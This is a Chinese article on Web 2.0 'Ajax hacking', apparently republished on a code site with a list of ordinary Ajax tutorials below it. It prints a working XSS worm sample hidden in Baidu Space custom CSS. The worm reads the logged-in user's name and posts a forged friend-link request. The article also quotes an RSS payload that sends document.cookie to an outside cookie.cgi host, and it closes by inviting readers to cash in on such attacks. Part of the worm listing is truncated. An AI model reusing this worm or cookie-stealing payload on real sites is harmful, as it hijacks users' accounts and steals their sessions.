Ajax Hacking

由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:


代码如下:

#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码 
var req = null; 
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。 
else if(window.ActiveXObject){ 
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); 
for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){} 

req.open('get','.',false); 
req.send(); 
var s=req.responseText; 
p=s.indexOf('passport.baidu.com/?logout'); 
if(p>0) 

p=s.indexOf(''); 
if(p>0) 

p=s.indexOf('/',p); 
p2=s.indexOf(String.fromCharCode(34),p); 
var user=s.substring(p+1,p2); 
var name='Here is a bad site'; 
var link='目标网址'; 
var desc='This link was added by an XSS script'; 
var url='/'+user+'/commit'; 
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。 
req.open('post',url,false); 
req.send(data); 
alert('A friend link has been added to your space at http://hi.baidu.com/' +user); 


else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。 
}"); 
}

当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:
#header {……
很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时,百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。
如果认为他们所造成的影响都是局域的,那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(Really Simple Syndication)攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的,大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤,导致攻击者可以向Rss中写入恶意的javascript代码,最终导致xss跨站,获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码:

javascript:%20document.location='http://www.target.com/cookie.cgi?'%20+document cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

事实上,最早的web2.0攻击出现在去年的myspace.上,有人在MySpace交友网站上写了一段JavaScript蠕虫代码,利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单,同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站,网上有一篇《Hacking Ajax》的文章,其中有一句话被加了黑体,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是说适当情况下,利用Ajax攻击并获得个人电脑管理权限亦是可能的。
由于目前系统对补丁的发布采取的都是时时更新功能,想通过溢出获得shell已经很难了,除非是0day的系统漏洞;而sql注入在网络也肆虐了几年,亦有了行之有效的防范方法;并且由于Python和Ruby语言的兴起,新的web2.0服务正在产生并有取代现有web结构趋势,譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释,只要我们始终有改变javascript的可能性,我们就永远有提升自己权限的可能……
那么对于日趋庞大的web2.0大军,你是否有兴趣从中分一杯羹呢?

(0)

相关推荐

  • Ajax Hacking

    由此Ajax攻击可见一斑,然而这还仅仅是个开始.7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术.而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧.它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)

  • 原生JavaScrpit中异步请求Ajax实现方法

    在前端页面开发的过程中,经常使用到Ajax请求,异步提交表单数据,或者异步刷新页面. 一般来说,使用Jquery中的$.ajax,$.post,$.getJSON,非常方便,但是有的时候,我们只因为需要ajax功能而引入Jquery比较不划算. 所以接下来便用原生JavaScrpit实现一个简单的Ajax请求,并说明ajax请求中的跨域访问问题,以及多个ajax请求的数据同步问题. JavaScript实现Ajax异步请求 简单的ajax请求实现 Ajax请求的原理是创建一个XMLHttpReq

  • thinkPHP5 ajax提交表单操作实例分析

    本文实例讲述了thinkPHP5 ajax提交表单操作.分享给大家供大家参考,具体如下: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script> <

  • FormData+Ajax实现上传进度监控

    什么是FormData? FormData对象可以组装一组用 XMLHttpRequest发送请求的键/值对.它可以更灵活方便的发送表单数据,因为可以独立于表单使用.如果你把表单的编码类型设置为multipart/form-data ,则通过FormData传输的数据格式和表单通过submit() 方法传输的数据格式相同: 如何创建一个FormData对象 你可以自己创建一个FormData对象,然后通过调用它的append()方法添加字段,就像这样: //实例化一个formData对象 var

  • ajax跳转到新的jsp页面的方法

    ajax可以实现局部刷新页面,即在不刷新整个页面的情况下更新页面的局部信息. 项目中遇到一个问题:在用户列表也,当点击某个按钮时需要去查询用户的信息,查询成功跳转到用户详情界面:查询失败,则在原页面弹出提示信息. 想到两个解决办法: 方法一: 点击按钮,调用普通方法去查询用户信息,查询成功跳转到用户详情页面:查询失败,重定向调用查询用户列表的方法,在查询用户列表的方法结束后重新跳转到用户列表页面并弹出提示信息,相当于重新加载了用户列表页面. 方法二: 根据需求,不可以重新加载用户列表页面.用aj

  • ajax实现输入提示效果

    本文实例为大家分享了ajax实现输入提示效果的具体代码,供大家参考,具体内容如下 网站主页 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <style> *{ margin:0px auto; padding:0px; } .l{ height:50px; wid

  • 简单实现ajax三级联动效果

    本文实例为大家分享了ajax三级联动效果展示的具体代码,供大家参考,具体内容如下 主页面代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <script src="../wenjian/jquery-2.2.3.min.js"></sc

  • 四步轻松实现ajax发送异步请求

    ajax发送异步请求,供大家参考,具体内容如下 第一步(得到XMLHttpRequest) ajax其实只需要学习一个对象:XMLHttpRequest,如果掌握了它,就掌握了ajax!!! 1.得到XMLHttpRequest 大多数浏览器都支持:var xmlHttp=new XMLHttpRequest(); IE6.0:var xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); IE5.0以更早版本的IE:var xmlHttp=new A

  • Ajax邮箱、用户名唯一性验证实例代码

    废话不多说了,直接给大家贴代码了,具体代码如下所示: <script type="text/javascript"> $(function () { $("#txtEmail").blur(function () { $.ajax({ type: "post", url: "reg.ashx?email=" + $.trim($("#txtEmail").val()) + "&

  • 解决Ajax加载JSon数据中文乱码问题

    一.问题描述 使用zTree的异步刷新父级菜单时,服务器返回中文乱码,但项目中使用了SpringMvc,已经对中文乱码处理,为什么还会出现呢? 此处为的异步请求的配置: Java代码 async: { enable: true, url: basePath + '/sysMenu/listSysMenu', autoParam: ["id=parentId"] } SpringMvc中文字符处理: Java代码 <mvc:annotation-driven> <mvc

随机推荐